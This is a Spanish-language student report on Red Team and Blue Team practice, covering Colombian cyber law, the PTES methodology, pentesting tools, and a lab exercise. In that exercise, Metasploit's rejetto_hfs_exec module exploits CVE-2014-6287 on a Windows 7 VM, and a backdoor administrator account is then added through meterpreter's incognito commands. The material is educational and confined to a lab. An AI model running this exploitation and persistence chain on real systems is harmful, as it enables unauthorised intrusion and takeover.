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Resumen

El siguiente informe técnico tiene como fin el dar a conocer de manera practica, las
actividades mas relevantes que realizan los equipos Red Team y Blue Team, teniendo en cuenta
la normatividad Colombiana referente a la ciberseguridad y manejo de datos, junto con la
presentacion de metodologias aplicables a pruebas de penetracion o pentesting y
recomendaciones para la hardenizacion de sistemas de informacion que den mayor proteccion a

los activos de diferentes tipos de compafiias.
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Glosario

BLUETEAM: Equipos disefiados para la prevencion y defensa de ataques cibernéticos

CIBERDELINCUENTE: Persona que utiliza sus conocimientos para cometer delitos
informaticos.

CIS: Centro de seguridad de internet

CVE: Identificador Unico asignado a las vulnerabilidades.

EXPLOIT: Software que aprovecha los fallos que se encuentran en los sistemas
informaticos.

REDTEAM: Equipos disefiados para realizar pruebas de ataques cibernéticos
controlados.

SIEM: Gestidn de informacidn y eventos de seguridad

VULNERABILIDADES: Debilidades que existen en los sistemas y que pueden ser

utilizada por atacantes o ciberdelincuentes.



Introduccion

Dia a dia se aumenta el trafico de datos por medio de los canales de conexion existentes y
esto a generado que se intensifique el accionar de los ciberdelincuentes, que buscan violentar la
seguridad de los sistemas y tomar de manera ilegal, informacion de vital importancia para
usuarios y compaiiias en general. Con esta problematica en aumento, los equipos de Red Team y
Blue Team juegan un papel importante dentro de la proteccion y fortalecimiento de las politicas
de seguridad aplicadas por los usuarios a sus sistemas de informacion , conformando barreras
casi impenetrables y a su vez realizando pruebas constantes para identificar cualquier tipo de
vulnerabilidad que ponga en peligro sus activos.

Dentro de las pruebas relizadas por los equipos Red Team y Blue Team, se debe resaltar
la importancia del cumplimiento de las normas legales y codigos de ética que garanticen la
correcta ejecucion del accionar y arrojando resultados que ayuden a las compafiias y usuarios a

resguardar de la mejor manera la informacion generada por sus sistemas.



Objetivos

Objetivo General

Presentar informe detallado sobre las practicas mas relevantes en equipos Red Team y
Blue Team, junto al seguimiento de normativas legales y modelos aplicables a la ciberseguridad.
Objetivos Especificos

e Identificar la normativa legal colombiana sobre delitos informaticos.

e Conocer sobre pruebas de penetracion y herramientas mas utilizadas.

e Realizar ejercicio practico de Red Team.

e Conocer la politica legal aplicable a ejercicios de Red Team.

e Conocer sobre las herramientas utilizadas por los equipos Blue Team.

e Realizar recomendaciones para la mejora de ejercicios Blue Team y Blue Team.
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Desarrollo del Informe
Dentro de las actividades realizadas en el seminario, se desarrollaron ejercicios propios
de los equipos Red Team y Blue Team, para ello se analizo el marco legal Colombiano, etapas
de pentesting, algunas de las herramientas mas utilizadas y se configuro ambiente controlado
para pruebas logrando la identificacion de vulnerabilidades y planes de mejoras y

recomendaciones para mitigarlas.

Marco Legal Colombiano

En la legislacion colombiana se encuentra enmarcadas diferentes leyes y articulos
relacionados con la proteccion de datos y delitos informaticos. Dentro de ellos se pueden
encontrar:

e Ley 1273 de 2009. Que se denomina de “la proteccion de la informacion y de los
datos” Esta ley permite tener bases juridicas con referencia a la informacion
suministrada y recaudada por cualquier sistema y las consecuencias legales sobre su
mal uso, proteccion y acceso de manera abusiva y sin autorizacion.

Algunos articulos:

e Articulo 269A. Acceso de manera abusiva a un sistema de informacion.

e Articulo 269B Obstaculizar un sistema informatico o de red de comunicaciones
impidiendo su funcionamiento.

e Articulo 269C Interceptar datos informaticos desde su origen, destino o en el interior
de un sistema de informacion

e Articulo 269F Acceso, manejo o divulgacion de informacion de caracter personal de

manera fraudulenta y sin autorizacion.
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e Articulo 269H Las penas se agravan si se comete estos delitos dentro de sistemas de
comunicacion o redes de caracter estatal o financiero, si se realiza sobre servidor
publico, revelacion de informacion con fines lucrativos o personales, si es el
responsable del manejo de dicho sistema.

LEY 1581 DE 2012 Reconoce y protege el derecho que tienen todas las personas a

conocer, actualizar y rectificar las informaciones que se hayan recogido sobre ellas en bases de
datos o archivos que sean susceptibles de tratamiento por entidades de naturaleza pablica o

privada.

Etapas de Pentesting y Metodologia

Para la realizacion de pruebas de penetracion o Pentesting, es importante contar con un
equipo y herramientas adecuadas que den seguridad en los procedimientos realizados y aplicados
a cada sistema a evaluar.

Los auditores en ciberseguridad deben cumplir con pasos que den claridad y tranquilidad
en los procedimientos realizados y lograr asi el objetivo especifico que es la identificacion de
vulnerabilidades y fallas en el sistema para asi generar proteccién y correccién de este. Algunos
pasos a seguir son:

e Determinar los Objetivos.

e Recopilar informacién

e Acceder al sistema

e Elaboracién de informes

Estos pasos son recopilados y ajustados por la metodologia PTES que da claridad sobre

los puntos descritos de una manera mas detallada.
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Metodologia que se aplica por proveedores de servicios de seguridad y que da un marco

de referencia para realizar pruebas de penetracion, Esta consta de 7 fases:

1. Interaccion previa: Se concertar los objetivos y acuerdos previos a realizar. Se
establecen acuerdos y los procedimientos a realizar.

2. Recoleccion de informacion: Teniendo en cuenta las necesidades de la
organizacion, se realiza la recoleccion de la informacion necesaria para la realizacion de las
pruebas.

3. Modelado de amenazas: Con la informacion recolectada se identifican los
activos (Tecnologicos 0 humanos) mas vulnerables y que podrian ser objetivo de ataques.

4. Analisis de vulnerabilidades: Se identifican las vulnerabilidades presentes en los
activos y que pueden llegar a ser explotables.

5. Explotacidn: Se realiza la explotacion de forma silenciosa y de manera agil,
buscando ingresar lo méas profundo en el sistema.

6. Post explotacion: Se realiza el analisis del equipo o sistema explotado, rutas,
acceso e impacto, todo de manera controlada y sin afectar al sistema. Se debe garantizar el
retorno del equipo a su estado inicial previo a la explotacion.

7. Presentacion de reportes: Se debe presentar el informe completo de las pruebas

realizadas, vulnerabilidades encontradas, asi como la manera en se debe dar correccion a estas.
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Herramientas de Pentesting y Servicios en Linea
MetaSploit

Metasploit es un software de codigo abierto o también llamado open source que viene
preinstalado en los sistemas Kali Linux y que contiene gran cantidad de exploit, mas de 900. Es
de las herramientas que se mas se utilizan por los equipos Rojos en el hacking ético.

Por medio de Metasploit se pueden poner a prueba las diferentes vulnerabilidades que
pueden tener los sistemas informaticos ya que con esta herramienta se pueden ejecutar las
siguientes acciones:

e [Escaneo y recopilacion de informacion: Metasploit utiliza herramientas como nmap
para realizar el escaneo de puertos e identificacion de puertas de entrada a los
sistemas

¢ Identificacion y explotacion de vulnerabilidades: Identifica que vulnerabilidades
estan presentes en un sistema y que estan publicadas en CVE, de esta menara
identifica como explotar dicha vulnerabilidad.

e Escalada de privilegios: Cuenta con software que permite la elevacion de privilegios
como administrador en diferentes sistemas operativos tales como Linux y Windows.

e Instalacion de puertas traseras: Basado en cddigos maliciosos o payloads, instala
puertas traseras o backdoors en el equipo victima, para poder robar informacion
confidencial.

e Fuzzing: Automatiza el ingreso de valores aleatorios que pueden ser inesperados o
erroneos en la entrada de los sistemas con el fin de identificar fallos que permitan el

ingreso a un dispositivo o red.



Nmap
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Evasion de sistemas antivirus: Metasploit contiene herramientas que permite la
ofuscacion de cddigo o escribir codigo malicioso que no le permite al sistema de
defensa ser detectado.

Eliminacion de registros de rastros: Con sus herramientas permite la eliminacion

de registros o rastros en los logs de los sistemas operativos impactados.

Herramienta de auditoria de seguridad y exploracion de red de codigo abierto. Mediante

el uso de paquetes IP en su forma original permite identificar qué equipo estan disponibles en la

red, los servicios y sus versiones presentes, sistemas operativos y sus versiones, cortafuegos y

filtros de paquetes, escaneo de vulnerabilidades y diversas caracteristicas.

Entre los resultados obtenidos podemos encontrar listas de puertos y protocolos con sus

servicios y estados con las versiones de cada uno de ellos. De igual forma, llega a mostrar

nombres de DNS, direcciones de MAC vy tipos de dispositivos.

Nmap permite especificar objetivos como escanear un IP especifica, parte de una red,
segmentos o la red completa mediante el método CIDR vy el uso de diversos
comandos.

Nmap permite analizar 65535 puertos, entre los que encontramos mas de 1660
puertos TCP y cada uno de sus 6 estados, permitiendo obtener informacién confiable
y precisa de su estado.

Nmap permite a los atacantes identificar las vulnerabilidades de los puertos y
servicios presentes en cada uno de los equipos activos en la red gracias a su capacidad

de deteccion de versiones y detalle en cada equipo.
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e Nmap analiza mas de 1500 huellas resguardadas en sus bases de datos para identificar
los sistemas operativos, las cuales son comparadas con los resultados arrojados de
paquetes TCP y UDP en el escaneo.

Por otra parte, mediante el uso avanzado y la experiencia en Nmap, es posible evadir

cortafuegos e IDS, ya que los usos basicos ya estan filtrados o bloqueados por algunos sistemas,

haciendo maés dificil realizar el andlisis de la red

Openvas

Es un potente escaner que permite identificar vulnerabilidades en sistemas de red de
pequefio y gran tamafio y que es de cddigo abierto. Cuenta con mas de 50.000 test y registros de
vulnerabilidades que a diario son alimentadas por la comunidad y a su vez cuenta con una
interfaz grafica que permite su uso de manera més dindmica y agradable.

Por medio de Openvas se puede realizar seguimiento continuo a los sistemas, logrando
identificar fallas de disefio y posibles vulnerabilidades tales como la inyeccion de codigo SQL.

Openvan viene incluido en el paquete de Kali Linux, aunque es necesaria la

configuracion de este para que funcione correctamente.

ExploitBD

Es una base de datos publica y en linea que fue desarrollada por la compafiia Offensive
Security, quien también creo a Kali Linux. Esta Base de datos contiene informacion sobre
vulnerabilidades, exploits y que a su vez contiene los cddigos de prueba.

Todas las vulnerabilidades y exploits registrados en esta base de datos, son alimentadas y

actualizadas por la comunidad de seguridad y contienen detalles importantes como los sistemas
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que pueden llegar a ser afectados, datos importantes y técnicos sobre los sistemas y los codigos
mas relevantes.
Con estas bases de datos, los profesionales de seguridad cuentan con mas fuentes que les

permite identificar los Exploits de diferentes vulnerabilidades detectadas.

CVE

Es un sistema publico y en linea que cataloga las vulnerabilidades de seguridad de
hardware y sofware y que permite a los fabricantes y expertos en seguridad, identificar las
vulnerabilidades y gestionar de maneras mas eficiente sus sistemas.

CVE asigna un cadigo Unico de identificacion, a cada vulnerabilidad encontrada y
suministra informacidn de la vulnerabilidad, la afectacion sobre el sistema y la posible solucion a
la misma.

Con el uso de CVE los profesionales de seguridad, pueden gestionar mejor los parches y

actualizaciones necesaria para los sistemas.

Configuracion de Ambiente Controlado de Pruebas
Para las pruebas en ambientes controlados, se utilizan herramientas tales como
VirtualBox, Maquina virtual Windows 7 y Kali Linux.

A continuacion se detalla la configuracion realizada para el caso ejemplo.

1. Se realiza el descargue de VirtualBox desde la pagina oficial y se procede con la

instalacion.
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llustracion 1 Instalacion Virtual Box

TH# Oracle VM VirtualBox 7.0.18 Setup =

Welcome to the Oracle vM
VirtualBox 7.0.18 Setup
Wizard

The Setup Wizard will allow yvou to repair your current
installaton or remowve Orade VM VirtualBox 7.0.18 from your
computer. Click Mext to continue or Cancel to exit the Setup
Wizard.

Version 7.0. 18

Fuente Propia

llustracion 2 VlirtualBox Iniciado

IR ermsenes 7B o AR @

Preferencias ~ Importar Exportar  MNueva Afiadir

» ESISeg.DB iBienvenido a VirtualBox!

o . La parte izquierda de esta ventana contiene
kali-linux-2024.3-virtualbox-amd64 herramientas globales y una lista de todas las
Guardada maquinas virtuales y grupos de maguinas virtuales en
su computadora. Puede importar, afadir v crear
nuevas MVs usando los botones correspondientes de
la barra de herramientas. Puade abrir un «popups del
elemento selecdonado actualmente usando el botdn
de elemento correspondiente. Puede presionar la teda
F1 para obtener ayuda instantanea o visitar

wvwe, virtualbox. org para mas informacion y las dltimas
noticias,

Fuente propia

Configuracion de Ova y Kali Linux
Se descarga Ova de Windows 7 desde la ruta suministrada por la UNAD y el Kali Linux

desde la pagina oficial.



lustracion 3 Descarga de OVA

> @ %% unadvirtualedu-my.sharepoint.com/personal/luis_zambrano_unad_edu_co/ layouts/15/onedrive.aspx?id=%2Fpersonal%2Fluis_zambrano_unad_edu... m W 0 El» ¥

UN;‘!D‘ noee ) Office365  OneDrive P Search

[ Share

5 Fernando Zambrano Hernandez
Luis Fernando Zambrano Hern...

Qur files 0 Name -
men  Refjeto_123456.2ip

D Win7-SE2020-X64.0va

Fuente propia

lustracion 4 Descarga Kali Linux

25 kali.org/get-kali/#kali-virtual-machines

o= Installer Pre-built VMs

‘m Sync & Copy link Add shortcut to OneDrive

J Download £ Export to Excel

> laboratorios Controlados > Seminario Especializado > RedTeam&BuleTeam2024 &

Modified ~ Modified By ~ File size ~

£ September 3 Luis Fernande Zam  14.6 MB

£ September 3 Luis Fernando Zam  3.51GB

ARM Mobile Cloud

64-bit

18

F 7 WATERCAMILO
FFSotv = v [ Deta
Sharing ~ Activity

2 Shared

2 Shared
Containers Li

® Recommended

VMware

torrent docs sum 1 torrent

¥ Recommended

@)

VirtualBox

docs

sum i torrent

Fuente Propia

docs

¥ Recommended

o il
e

Hyper-V

sum

Las descargas son instaladas en VirtualBox



lustracion 5 Configuracion Maquinas Virtuales

|-

N

I — R O P

Mueva Afadir Descartar  Inidar

v Seg. DB (™ General [®] previsualizacién
Mombre: Win7-5E2020-X54
[=LF ] Win7-SE2020-X64 Sistema operativo:  Windows 7 (54-bit)
‘,!?l @ Apagada Grupos: ESI Seg. DB
Sistema
(2aB  kali-linux-2024.3-virtualbox-amd64 Memoria base: 4096 MB Win7-SE2020-X64
J Guardada Orden de arrangue: Optica, Disco duro
Aceleracion: Paginacion anidada,
Paravirtualizacion
Hyper-v
(™ pantalla
Memoria de video: 13 MB
Controlador gréfico: VBoXSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabacion: Inhabilitado

= )
Almacenamiento

Fuente Propia
Configuracion para la Comunicacion Entre las Maquinas.

Se realiza configuracion de red en adaptador puente en ambas maquinas.

lustracion 6 Win 7 Configuracion

General Red
Sistema Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
Pantalla Habilitar adaptador de red
R Conectado a:  Adaptador puente s
Almacenamisnto
Mombre: Realtek RTL8852BE WiFi 6 802. 11ax PCle Aadapter o
Audio
B Avanzado
Red

FPuertos serie
use

Carpetas compartidas

ADYYmeREED ©

Interfaz de usuario

Cancelar Ayuda
Fuente Propia



20

lustracion 7 Config Kali Linux

ADVOESEmED ©

General Red

Sistema Adaptador 1

Pantalla
. Conectado a:  Adaptador puente ~r
Almacenamiento
Mombre: Realtek RTLS8E52BE WiFi & 802, 11ax PCIe Adapter e
Audio
B Avanzado

Red

Puertos serie

use

Carpetas compartidas

Interfaz de usuario

Aceptar ] Cancelar Ayuda
Fuente Propia

llustracion 8 Prueba de conectividad

S Favoritos_| cla il Galeria de Weh Slice =8 Sifins cugeridoe = kali@kali
& Internet | B8 Administrador: CiWindows\system32\cmd.exe Actions Edit View Help
Il daptador de tdnel isatap.{SBESBED2-9BO4-4799-BEB3-D289D73C24603:
3 Estado de los medies. . . . . . . . , . . © medios desconectados
) Sufijo DNS especifico para la comexién. . = :
G 192.168. ( e ) 56(84
C:\Users\usuario>ipconfig bytes

Conf iguracién IP de Windous _ . .
bytes . . icmp_se time:

Adaptador de Ethernet Conexidn de area local: bytes 2. E ¢ icmp_se time=1.21

Sufijo DMS especifico para la conexién. .

Uinculo: direccién IPué local. . . : Fe8B::4842:9ce4:4e38:7898x11 4 bytes from 192.168. : icmp_seq-4 28 time=1.0

Direccidn TPvd. . . . . . . . - 19 -

Miscara de subred - - . 255.255.255.9 _ .

Puerta de enlace predeterminada . 192.168.10.1 4 bytes from . . cmp_ ] 1=128 time=1.8

ndaptador de tdnel isatap.{SBEBBED2-$B04-4799-BEB3-D289D73C24603 : bytes from 192.168. Y.

Estado de los medigs. . . . . . . . . . medios desconectades
Sufijo DNS especifico para la conexién.

— 192.168. ping s

6 packets transmitted, 6 received, 0% packet loss, time 581
ims

rtt min/a 1.091/1.490/2.148/0.390 ms

C:\Users\usuario

Fuente Propia
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Procesos Eticos y Legales en Escenarios No Eticos.

En escenarios en los cuales se presentan procesos no éticos con respecto a temas
relacionados con Red Team y Blue Team, se recomienda el seguimiento del marco legal
Colombiano y el Codigo de ética del COPNIA.

Como primera medida se encuentra el revisar los contratos por medio de los cuales se
realiza el proceso de reclutamiento del personal para los Red Teams y Blue Teams. La premura
de contratacion y puesta en marcha de proyectos, dan mucho de que hablar sobre la ética y
procesos legales en los acuerdos de confidencialidad firmados.

Para el acuerdo de confidencialidad se puede evidenciar varios procesos que acarrean
problemas legales y éticos para los firmantes de estos:

e El no permite el reporte ante las autoridades competentes, sobre procesos ilicitos que

se logren identificar por objeto del contrato.

e Identificar la falta al codigo de ética en el ocultamiento o sustraccion de informacion.

e Tener presente que que no se viole el cadigo de ética de COPNIA al no permitir la

denuncia ante hechos delictivos.

e Comprender la responsabilidad sobre el uso indebido de informacion por parte de los

representantes.

e Lasolucion de controversias, se debe llevar acabo de manera responsable entre las

partes y no recargando la responsabilidad sobre una de las partes.
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Violacion ley 1273
Tener claridad sobre la ley 1273 de 2009 en los siguientes articulos:
Articulo 269A: Acceso abusivo a un sistema informatico.
Articulo 269F: Violacion de los datos personales.
Articulo 269H la conducta se agrava si se presentan situaciones como las descritas:
. Aprovechar la confianza depositada por el poseedor.

. Obtener provecho para si 0 para terceros.

En los procesos de contratacidn de equipos Red Team y Blue Team, surgen las siguientes
interrogantes:

Interrogante 1
lustracion 9 Interrogante 1

éHasta qué punto las empresas de ciberseguridad deben tener acceso a
informacidén sensible de sus clientes durante una auditoria de seguridad,

y como se puede garantizar que este acceso no sea explotado de manera
indebida?|

Fuente Guia de actividades y rubrica de evaluacion — Etapa 2 Actuacion ética y legal

Respuesta: En los procesos de auditoria de seguridad, es inevitable que se acceda a
informacion de vital importancia para los clientes, esto debido al grado de penetracion que se
realice por parte de los equipos red teams y blue teams. No en todos los casos se lograra acceder
a informacion sensible, pero si a procedimientos que permite acceder a esta, es por ello que los
procesos de intrusion se deben proteger con contratos claros y concretos sobre la extraccion y

uso de esta, generando acuerdos de confidencialidad y acuerdos de confianza.
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El personal que realizara las auditorias de seguridad, deben ser idoneos y con ética
profesional clara y aplicada, adicional se debe proteger los contratos con acuerdos ligados a la
ley y al codigo de ética profesional del COPNIA.

Interrogante 2
lHustracion 10 Interrogante 2

¢Qué mecanismos de supervision y control deberian implementarse en
las empresas de ciberseguridad para evitar que sus empleados utilicen
herramientas avanzadas de analisis forense con fines no autorizados o
eticamente cuestionables?

Fuente Guia de actividades y rubrica de evaluacion — Etapa 2 Actuacion ética y legal
Respuesta: Para ello de sebe realizar un analisis concienzudo de los contratos del
personal opcionado, la contratacidn se debe realizar bajo los mas altos estandares de validacion y
escogencia, esto se debe complementar con contratos claros y ligados a la ley 1273 y basados en
los cddigos de ética de COPNIA, que permitan el actuar legal frente a lo posible violacién de las

politicas y contratos.

La aplicacion de acuerdos de confidencialidad y claridad frente a las implicaciones
legales derivadas de malas préacticas o ética cuestionable, debe ser suficiente para evitar que las
empresas de ciberseguridad caigan en las malas practicas o en implicaciones legales con sus

clientes.
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Interrogante 3

lHustracion 11 Interrogante 3

i¢Cémo deberian responder los gobiernos y organizaciones cuando
descubren que una empresa de ciberseguridad contratada ha cometido
actos de ciberespionaje? i{Cuadles serian las medidas adecuadas para
restaurar la confianza y asegurar que no ocurra nuevamente

Fuente Guia de actividades y rubrica de evaluacion — Etapa 2 Actuacion ética y legal
Respuesta: Los gobiernos y organizaciones deben prestar especial cuidado a las

empresas de ciberseguridad que se vean inmiscuidas en malas practicas o actos de ciber
espionaje y mas si estos se presentan de manera constante. Aunque a diario en el pais, los
ataques cibernéticos se presentan con mayor frecuencia y grado de impacto, esto no debe
influenciar en la normativa aplicable para las empresas que se dedican a las auditorias de
seguridad, es ahi en donde se deben aplicar medidas que permitan la restauracion de la confianza
con los clientes, y esto es la aplicacion eficaz de la ley 1273 y el codigo de ética de COPNIA, si
no hay mano dura y firme legalmente, la confianza se pierde y los procesos se dafian.

Aunque no se puede garantizar que los incidentes ocurran nuevamente, si dan luz a las

autoridades para poder actuar concreta y eficazmente frente a los infractores.
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Ejercicio Practico Controlado Red Team.

Con la claridad sobre los marcos legales y éticos frente a la realizacidn de pentesting con
red Team y Blue Team, se muestra un ejercicio practico de Red Team en ambiente controlado y
configurado anteriormente.

Para la realizacion del informe, se tendré en cuenta la metodologia PTES que expone 7

pasos para realizar pruebas de penetracion, adicional se utiliza la herramienta Kali Linux, nmap y
metasploit para identificar y explotar vulnerabilidades en el sistema Windows 7.

1. Interaccion previa: El objetivo principal es la identificacidn de vulnerabilidades que
permitieron la explotacion y posterior ataque sobre el sistema Windows. Se acuerda
la utilizacion de la metodologia PTES como guia y modelo de pentesting.

2. Recoleccion de informacion: Se suministra por parte del equipo forense, la copia del
servidor, para posterior analisis.

3. Modelado de amenazas: Se identifica maquina con sistema operativo Windows 7 con
aplicativo hsf instalado. Maquina vulnerada.

4. Andlisis de vulnerabilidades: Se realiza identificacion de puertos abiertos en la
maquina Windows 7, por medio de la maquina Kali Linux y Nmap utilizando los
comandos:

Sudo nmap -sV 192.168.10.23 Permite identificar la version de los puertos listados

abiertos, se identifica el puerto 80 del servicio http versién 2.3
Se identifica la vulnerabilidad cve-2014-6287 desde la pagina de CVE.
5. Explotacion: Con el cédigo CVE se realiza explotacion por medio de la herramienta

MetaSploit desde Kali Linux.
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Se utiliza el comando search cve-2014-6287 arrojando el
exploit/Windows/http/rejetto_hfs_exec que es explotado con metasploit.

Se apertura una sesion y se crea usuario con privilegios de administrador con incognito
con el comando add user “waltervirviescas” “Colombial23” y se agrega al grupo
Administradores por medio del comando add localgroup user “Administradores”
“waltervirviescas”

Se logra ingresar con privilegios de administrador y la creacion de usuario con permisos
de administrador, teniendo asi el control total del equipo Windows.

6. Post explotacion: Se identifica maquina Windows 7 con puerto 80 abierto y servicio
httpd version 2.3 desactualizada que permite la explotacién de la vulnerabilidad cve-
2014-6287. Esta vulnerabilidad permite el ejecutar programas de manera arbitraria y
por medio de esta vulnerabilidad se explota el equipo y se logra la creacién de usuario
con privilegios de administrador.

7. Presentacion de reportes: Se presenta informe del proceso de ataque realizado y se
identifica que la vulnerabilidad se presenta por la falta de actualizacién del servicio

httpd.

Herramientas Utilizadas

Para la identificacion del fallo que presenta la maquina Windows 7, se utilizaron las
siguientes herramientas:

e Kali Linux

e Nmap

e Metasploit
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e CVE

o exploit/Windows/http/rejetto_hfs_exec

Con estas herramientas se logra identificar que la aplicacion HFS de la maquina
Windows, utiliza el puerto 80 servicio http y maneja una version 2.3 que esta desactualizada y

permite la explotacion de la vulnerabilidad encontrada.

Analisis del Ataque Realizado

Este ataque realizado sobre la maquina Windows, la afecta de manera significativa, ya
que da control total a esta, y de manera sigilosa.

La apertura el puerto 80 al momento de utilizar la aplicacion HSF, permite la ejecucion
de manera remota y arbitraria de aplicaciones que permiten el acceso a usuario con privilegios y
tener control total sobre el sistema operativo. De esta manera se puede crear cuentas adicionales,
extraccion de informacion o instalacion de puertas traseras que permitan el acceso continuo y

silencioso al equipo y al sistema.

lustracion 12 Grafico ataque

192.168.10.19 exploit/Windows/http/rejetto_hfs_exec 152.168.10.22
Ezcucha puerto 80 Rewverse TCP handler on 152.168.10.15 g E
Victima
Atacante HSF PUERTO 80

Fuente Propia
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Informe de Explotacion

Se realiza identificacion de puertos abiertos en la maquina Windows 7, por medio de Kali

Linux y Nmap utilizando los comandos:

Sudo nmap -sV 192.168.10.23 Permite identificar la version de los puertos listados

abiertos.

llustracion 13 Puertos Abiertos

kali@kali: ~

File Actions Edit Wiew Help

ap.org

Microsoft HTTPAPI
Microsoft HTTPAPI
Microsoft HTTPAPI
rosoft Windc
rosoft Window
Microsoft Windon
Microsoft Window

indows

Fuente Propia
Se identifica un HttpFileServer httpd 2.3.

Se identifica los CVE para el httpd 2.3. CVE-2014-6287
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llustracion 14 CVE

< c 23 cvemitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6287 Bg v o o =5 o
Este sitio web utiliza tecnologias como cookies para habilitar la funcionalidad esencial del sitio, asi como para analitica, personalizacion y J— f _
publicidad dirigida. Para obtener mas informacién, consulte el siguiente enlace: Politica de privacidad

TOTAL CVE Records: 240830

NOTICE: Transition to the all-new CVE website at WWW.CVE.ORG and CVE Record Format JISON are underway.

NOTICE: Support for the legacy CVE download formats ended on June 30, 2024.
New CVE List download format is available now on CVE.ORG.

Printer-Friendly View

CVE-ID

CVE-2014-6287 Learn more at National Vulnerability Database (NVD)
* CVSS Severity Rating # Fix Information * Vulnerable Software Versions « SCAP Mappings * CPE Information

Description

The findMacroMarker function in parserLib.pas in Rejetto HTTP File Server (aks HFS or HttpFileServer) 2.3x before 2.3c allows remote attackers to execute arbitrary programs
via @ %00 sequence in a search action.

Fuente Propia
Con este CVE se puede ejecutar programas arbitrarios de manera remota.
Con el codigo CVE se realiza explotacion por medio de la herramienta MetaSploit desde

Kali Linux.

lustracion 15 Metasploit

Shell No. 1
Actions Edit View Help

$ S/usr/share/kali—-menu/helper—-scripts/metasploit—framework.
sh

[Lsudo] password for kali-:

L:21] Database already started

[L:i1 The database appears to be already configured, skipping
initialization

Metasploit tip: Set the current module'" s RHOSTS with databa
se values using

hosts —R or services —R

Fuente propia

Con el comando search cve-2014-6287 se puede identificar el exploit a utilizar para

explotar la vulnerabilidad encontrada en la version del httpd.



llustracién 16 Escaneo CVE

search cve-2014-¢

ching Modules

Name Disclosure Dat
Check Description

2014-89-11
Remote mmand

Interact with a module by name or index. For
i = @ or (ploit/windows/http/rejett

Fuente Propia
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Se utiliza el exploit 0 exploit/Windows/http/rejetto_hfs_exec y se identifica el RHOSTS a

configurar con el comando show options

lustracion 17 Exploit

windows meterprete
} > show options
xploit/windows / http/,/rejetto

Current - i Reguired Description
ng

HTTPDELAY 1@ Seconds
=

Fuente Propia




31

Se configura el RHOSTS con el comando set rhosts 192.168.10.23 y se confirma con el

comando show options.

llustracion 18 Configuracion RHOST

Module options (exploit/windows /http/s/rejetto

MName CcCurrent quired Description
ng

HTTPDE LAY 1@ X E onds to

RPORT

HOST

Fuente Propia
Se ejecuta el exploit por medio del comando run y se identifica una sesion abierta con
meterpreter y con el comando dir, se puede confirmar que se encuentra en el directorio de la

maquina Windows.

lustracion 19 Explotacion

handler on
Q2 _ 16 1@ . ]

MName

|18 |8

Fuente Propia



Una vez dentro de la maquina impactada, se realiza la creacion de un usuario
administrador que se denominara “waltervirviescas” y que estara en el grupo de
“Administradores”

Se ejecuta el comando use incognito para ingresar de manera sigilosa y help para

identificar los comandos a utilizar.

lustracion 20 Incognito

e — ——
use incognito

extension incognito ... ¢
help

Commands

Command Description

£ Help menu
background lackgrounds the current ses

ground
ound meterpre

background sc

bgrun M : a meterpreter
round thr

Fuente Propia

Se utiliza el comando add_user de los comandos de incognito commands. Esto para la
creacion del usuario en la maquina impactada.

lustracion 21 Incognito User

= [ Commands

Command Description

add_group__user

add_localgroup_user

=%
=
=%
T
ey
=1
I
L

JInws-#0OH

W

more info on a specific command,

Fuente Propia
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Se crea el usuario y la contrasefia con el comando add user “waltervirviescas”

“Colombial23”.

llustracion 22 Crear Usuario

add_user

m

"Colombial

[: W
currentl as SYSTEM, not all

E
will be

EM
[*] Attempting to add user walterwvirviescas to
i

Fuente Propia
Se ejecuta el comando list_tokens -g para lograr identificar como se llama el grupo

administradores BUILTINVAdministradores.

lustracion 23 Privilegios

order_option>

and their privilege

unigue Oupmnames

unigque e name

—=
.

unning

UILTINMNAdministradores
BUTLTIM i
NT AUTHORIT

MNT AUTHORIT
o fa =lel=d

Fuente Propia



Se ejecuta el comando add localgroup user “Administradores

29 ¢c

waltervirviescas” para

agregar el usuario creado al grupo de administradores.

llustracion 24 Administrador

Fuente Propia

"Administradores”

not all

g as SYSTEM,

r waltervirviescas to localgroup A

to local

group

Se confirma en la maquina impactada, la creacién del usuario y su vinculacién al grupo

de administradores.

llustracion 25 Usuario Creado

B Win7-5SE2020-X64 [Corriendo] - Oracle VM VirtualBo

A Administracién de equipos

Archive Accién  WVer Ayuda

o= HEXRE = HE

A Administracién del equipe (log
a |j} Herramientas del sistema
> ((£) Programador de tareas
- J2] Visor de eventos
. @] Carpetas compartidas
a @l Usuarios y grupos localy
| Usuarios
| Grupos
. (®) Rendimiento
& Administrader de dispo
4 22 Almacenamiento
=" Administracién de discq
=, Servicios y Aplicaciones

MNombre
#;| Administrador

& HomeGroupUserS
#,/ Invitado

& ysuario

& waltervirviescas

Mombre completo

HomeGroupUsers

Descripcién
Cuenta integrada para la administ...
Cuenta integrada para el acceso d...
Cuenta integrada para el acceso c..

waltervirviescas

Propiedades: waltervirviescas

General | Miembro de | Perfil |

(=B (]

Miembro de:

% Administradores

Fuente Propia
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Ejercicio equipos Blue Team

Dentro de las labores de los equipos Blue Team es importante comenzar a contrarrestar el
ataque identificado, es por ello que se deben seguir los siguientes pasos:

Teniendo en cuenta que se presenta un ataque sobre una maquina con sistema operativo
windows 7, comienza a realizar aseguramiento de la zona y del equipo que reporta
vulnerabilidad explotada.

A continuacion de detallan los pasos a seguir para lograr realizar el aseguramiento del
equipo.

1. Desconectar el equipo de la red y aseguramiento: Al identificar que una de las
maquinas de la compariia esta siendo atacada por medio de una de sus
vulnerabilidades y con el fin de evitar que se propague este ataque, se procede con la
desconexion del equipo de la red, ya sea de internet o de la LAN. La propagacion de
diferentes malware, ransomware, phishing y mas, por medio de la red, es algo que
debe preocupar en gran manera, de ahi a la importancia de la desconexion inmediata
del equipo vulnerado y lograr su aseguramiento, evitando asi, que se siga propagando
el ataque, ya sea con intencion o por desconocimiento del aseguramiento del equipo.

2. Evaluar el incidente presentado: Una vez realizada la desconexion del equipo de la
red y teniendo un aseguramiento efectivo de esta, se procede con la evaluacion del
incidente, buscando identificar la gravedad del ataque, que otros sistemas infectos y
que grado de impacto tuvo sobre el sistema. Es importante contar con herramientas
que permitan la identificacion de esto, estas pueden ser las herramientas de monitoreo

0 SOC con los que cuenta la compafiia, el registro que toma el antivirus y la revision
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de logs del propio equipo impactado junto con el visor de eventos de Windows o la
actividad sobre la red.

Registro de evidencias y copias de seguridad: Es importante contar con evidencias
concretas sobre el incidente presentado, es por ello por lo que se debe documentar
todos los registros y pasos realizados en la identificacion del atague, junto con el
registro se debe realizar copia de seguridad de la maquina y continuar con el analisis
forense con mas seguridad. Se debe evitar el manipular directamente el equipo
